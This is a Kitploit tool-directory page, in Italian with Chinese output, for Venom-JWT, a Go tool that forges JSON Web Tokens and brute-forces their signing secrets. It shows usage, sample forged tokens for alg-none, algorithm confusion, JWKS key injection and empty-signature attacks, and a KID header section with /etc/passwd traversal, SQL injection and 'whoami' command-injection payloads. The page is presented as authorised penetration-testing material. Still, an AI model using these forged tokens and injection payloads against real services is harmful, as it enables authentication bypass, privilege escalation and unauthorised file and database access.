Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Venom-JWT — Strumento di verifica delle vulnerabilità e brute-force delle chiavi sviluppato per il penetration testing di JWT, che genera risultati per FUZZ relativi a CVE-2015-9235/chiavi vuote/attacchi con firma non verificata/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042. Supporta inoltre il brute-force (JWT Crack) tramite dizionario/enumerazione di caratteri (incluso JJWT). | Kitploit
Strumenti/GitHubGitHub/z-bool/venom-jwt
Password CrackingAnalisi delle VulnerabilitàExploitSicurezza WebFuzzingPenetration Testing
GitHubz-bool/venom-jwt

Venom-JWT

Vedi Repository
289101 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Strumento di verifica delle vulnerabilità e brute-force delle chiavi sviluppato per il penetration testing di JWT, che genera risultati per FUZZ relativi a CVE-2015-9235/chiavi vuote/attacchi con firma non verificata/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042. Supporta inoltre il brute-force (JWT Crack) tramite dizionario/enumerazione di caratteri (incluso JJWT).

Condividi

Venom-JWT - Strumento di penetration test per vulnerabilità JWT e brute force delle chiavi

Dichiarazione solenne: le tecnologie, le idee e gli strumenti menzionati in questo documento sono destinati esclusivamente all'apprendimento e allo scambio a scopo di sicurezza, nessuno può utilizzarli per scopi illegali o di lucro; in caso contrario, le conseguenze saranno a proprio carico .

Strumento di verifica delle vulnerabilità / brute force delle chiavi sviluppato per il penetration test JWT. Genera risultati per FUZZ relativi a CVE-2015-9235 / attacco con firma non verificata / CVE-2016-10555 / CVE-2018-0114 / CVE-2020-28042; è inoltre possibile eseguire brute force tramite dizionario o enumerazione di caratteri.

Introduzione allo strumento · Istruzioni per l'uso · Avvertenze · Comunicazione tecnica

Introduzione allo strumento

Contesto di nascita di questo strumento:
  • Durante i normali penetration test in ambito aziendale, nei progetti con separazione front-end/back-end si incontra spesso JWT utilizzato come Token per la verifica dei permessi. Di solito si possono usare strumenti come jwt-tool, ma non risolvono tutto in un solo passaggio. Per questo ho sviluppato in Go uno strumento ausiliario per il penetration test JWT che fa tutto in un colpo solo, aiutando a testare l'escalation dei privilegi.

Quali sono gli scenari di utilizzo di questo strumento:

  • JWT utilizzato come meccanismo di autenticazione
  • Incollare i risultati JWT generati con Payload modificati in Repeater per verificarli, determinando se esiste una nday sfruttabile senza bisogno della Secret
  • In assenza di nday, eseguire brute force sulla Secret del JWT

Quali sono i punti di forza di questo strumento:

  • Esecuzione interattiva guidata / esecuzione tramite parametri da riga di comando => due modalità di esecuzione
  • Considera la maggior parte delle vulnerabilità esistenti relative a JWT
  • Manutenuto in modo continuativo tramite le ISSUE (lo sapete: quando voi trovate problemi durante i test, basta ottimizzare e tutto fila liscio)

Istruzioni per l'uso

root@kitploit:~
# 打包
go mod tidy 
cd cmd
go build.

# 命令行运行
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
  -df string
        是否使用文件中的payload,默认为空使用角色内置字典(绑定模式2),模式3非空(绑定模式3)
  -em int
        secret加密模式NONE/MD5/16位MD5/BASE64(默认ALL=>0,NONE=>1,MD5=>2,16位MD5=>3,BASE64)
  -fs string
        爆破的默认字典,可以自行按猜测的规则修改(配合-fz 位数使用) (default "abcdefghijklmnopqrstuvwxyz0123456789")
  -fz int
        字符爆破最大字符数(如果字符爆破要指定位数-fz)
  -jbc string
        需要修改的JWT body
  -jm int
        模式1:(未知Secret)修改Payload越权测试 模式2: (先测试模式1)PayloadFuzz越权测试 模式3:secret文本爆破 模式4:secret字符爆破(如果字符爆破要指定位数-fz)模式5:对JWT的Secret进行验证 (default 1)
  -jwt.txt string
        JWT字符串
  -mz int
        字符爆破最小字符数(如果字符爆破要指定位数-mz),默认为1 (default 1)
  -pem string
        公钥pem的路径(最好绝对路径)
  -pt int
        选择模式:0为默认全执行,1为修改alg为none(CVE-2015-2951),2为未验证签名导致的越权,3修改非对称密码算法为对称密码算法(CVE-2016-10555) 4为JWKS公钥注入--伪造密钥(CVE-2018-0114) 5 为空签名(CVE-2020-28042)
  -s string
        已知Secret,默认为空
        
# 交互式运行
.\cmd.exe
? 【前置选择】未知secret的情况下修改JWT测试越权,请选择模式:
[·]  [Use arrows to move, type to filter]
> 模式1:(未知Secret)修改Payload越权测试
  模式2:(先测试模式1)PayloadFuzz越权测试
  模式3:secret文本爆破
  模式4:secret字符爆破
  模式5:对JWT的Secret进行验证

? 请输入你的JWT字符串:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8

? 【模式1】【模式2】未知secret的情况下修改JWT测试越权,请选择具体测试模式:
[·]  [Use arrows to move, type to filter]
> 模式0:默认全执行
  模式1:修改alg为none(CVE-2015-2951)
  模式2:未验证签名导致的越权
  模式3:修改非对称密码算法为对称密码算法(CVE-2016-10555)
  模式4:JWKS公钥注入--伪造密钥(CVE-2018-0114)
  模式5:空签名(CVE-2020-28042)

? 您在选择【模式1】【模式2】【模式5】中需要修改JWT的第二部分Payload中JSON字符串进行修改测试越权,请从上一步中复制Payload部分修改完后在此输入:
【模式1】【模式5】示例:{"username":"admin","role":"admin"}
【模式2】示例:{"usernmae":"admin","role":"FUZZ"}
请注意【模式2】中的FUZZ此处为字典替换位置,如果不修改可以直接为enter回车默认使用原Payload

? 请输入您搜集的公钥pem的文件路径(最好为绝对路径)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem

==============没secret修改Payload的越权测试===========

① 大部分情况在alg为HS256时候,可以将JWT改为none的情况(CVE-2015-9235)

[+]【alg为none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② 未验证签名攻击:修改Payload不校验

[+]【无效签名攻击】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ 修改非对称密码算法为对称密码算法(CVE-2016-10555)攻击

[+] 【修改非对称密码算法为对称密码算法】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ JWKS公钥注入--伪造密钥(CVE-2018-0114)攻击

[+]【伪造密钥】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0--CDCf1bot--ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ 空签名(CVE-2020-28042)攻击

[+]【空签名】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
注意:所有JWT结果都已经保存在运行目录下的result.txt中,可以去重放Intruder测试是否为可行Token

① Nella maggior parte dei casi, quando alg è HS256, si può cambiare JWT in none (CVE-2015-9235)

② Attacco con firma non verificata: modifica del Payload senza verifica

③ Attacco di modifica dell'algoritmo crittografico asimmetrico in simmetrico (CVE-2016-10555)

④ Iniezione della chiave pubblica JWKS -- falsificazione della chiave (CVE-2018-0114)

⑤ Attacco con firma vuota (CVE-2020-28042)

result.txt È possibile riprodurli direttamente con Repeater.

Altre vulnerabilità speciali rilevate:

Durante l'analisi del primo segmento del JWT, se vengono rilevati altri parametri, potrebbero esserci altre vulnerabilità e verrà mostrato un avviso.

root@kitploit:~
// Java的jjwt测试代码
public class JwtExample {
    private static void disableKeyLengthCheck() throws Exception {
        // 使用反射修改 SignatureAlgorithm.HS256 的 minKeyLength
        Field minKeyLengthField = SignatureAlgorithm.class.getDeclaredField("minKeyLength");
        minKeyLengthField.setAccessible(true);
        minKeyLengthField.set(SignatureAlgorithm.HS256, 0); // 将最小密钥长度设置为 0
    }
    public static void main(String[] args) throws Exception {
        disableKeyLengthCheck();
        // 原始密钥
        String secret = "test@123";


        JwtBuilder jwtBuilder = Jwts.builder().setHeaderParam("kid", "your-key-id").setId("400").setSubject("test").setAudience("{\"abc\":\"123\"}").signWith(SignatureAlgorithm.HS256, secret.getBytes());
        HashMap<String, Object> stringObjectHashMap = new HashMap<>();
        stringObjectHashMap.put("test", "test");
        jwtBuilder.addClaims(stringObjectHashMap);
        System.out.println(jwtBuilder.compact());
    }
}

Risultato generato: eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

jwtio

kid

avviso

Di seguito le vulnerabilità correlate (le ho tratte da altri articoli, analizzatele voi stessi)

Modifica del parametro KID

1. Lettura arbitraria di file

Il parametro KID viene utilizzato per leggere il file della chiave, ma il sistema non sa se l'utente sta realmente cercando di leggere un file di chiave. Pertanto, se il parametro non viene filtrato, un attaccante può leggere qualsiasi file del sistema.

root@kitploit:~
{  "typ": "JWT",  "kid": "/etc/passwd",  "alg": "HS256"}

2. SQL injection

KID può anche essere usato per estrarre dati dal database; in questo caso può verificarsi un attacco di SQL injection, costruendo query SQL per ottenere dati o aggirare la verifica della firma.

Se è presente il campo KID, provare l'iniezione: modificare il valore di KID in una query SQL, cambiare username in Tom; la chiave di firma deve essere identica alla query SQL. Ad esempio, se nella query SQL compare 3, la sua codifica base64 è Mw==, quindi in questo caso la chiave di firma è 3:

root@kitploit:~
{ "typ": "JWT", "kid":"';select 'Mw==' from jwt_keys --"}

3. Command injection

Anche un filtraggio insufficiente del parametro KID può causare problemi di command injection, ma le condizioni di sfruttamento sono piuttosto rigide. Se il backend del server usa Ruby e durante la lettura del file della chiave viene utilizzata la funzione open, costruendo opportunamente i parametri si può ottenere una command injection.

root@kitploit:~
{  "typ": "JWT",  "kid": "/path/to/key_file|whoami",  "alg": "HS256"}

Se compaiono altri parametri, è possibile effettuare ulteriori analisi.

Ora diamo un'occhiata al modulo di brute force

Prendete un dizionario qualsiasi da internet.

Test JWT1 (secret 123456):

root@kitploit:~
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg

crack1

Test JWT2 (jjwt secret test@123):

root@kitploit:~
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

crack2

Quindi usa JWT1 per testare l'effetto della generazione basata su caratteri:

dict Qui ho generato tutti i dizionari da 4 a 6 caratteri, con input 1234567890. Per la demo non serve renderlo troppo grande; potete testare da soli, tanto sarà comunque veloce.

crack3

Qui verrà generato genFuzzDict.txt nella directory corrente. Poiché la quantità generata è molto grande, inizialmente si usava un thread pool con il modello produttore-consumatore, ma dopo l'avvio, a partire da 4 caratteri, il programma andava in crash per memoria insufficiente. Quindi si è passati a salvare e leggere da file; quando il programma trova la chiave corrispondente, esce automaticamente e smette di leggere il file.

Facciamo un altro esempio con MD5:

root@kitploit:~
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.cVkiZiHhiB4galgAh6EB_mrIOd3gPqqPsuXZq9S2MQw

md5

Avvertenze

  • Il file public_key.pem nella directory principale è obbligatorio per testare 模式3:修改非对称密码算法为对称密码算法(CVE-2016-10555). Se nel JS della pagina è esposta la chiave pubblica, usa il risultato salvato con la chiave pubblica della pagina; altrimenti usa questo file come sostituto per completare la generazione, altrimenti verrà restituito un errore.
  • Tutti i percorsi nelle directory sono impostati come percorsi assoluti per evitare bug di lettura dei file che causano errori di processo. Gli utenti Windows possono trascinare direttamente il file per completare automaticamente il percorso assoluto; per gli utenti mac/linux l'inserimento del percorso è ancora più semplice, quindi non serve dilungarsi.
  • Se ci sono altri problemi o bug, potete lasciare un messaggio privato sul retro dell'account ufficiale "阿呆攻防", oppure aprire una ISSUE; quando lo vedo, provvederò subito a ripararlo.

Comunicazione tecnica

Strumenti per servizi di penetration test Github: https://github.com/z-bool Venom Progetti di ricerca sulla sicurezza Github: https://github.com/SpringKill-team SpringKill Team

Account ufficiale 阿呆攻防:

Account ufficiale 阿呆攻防
Scarica lo strumento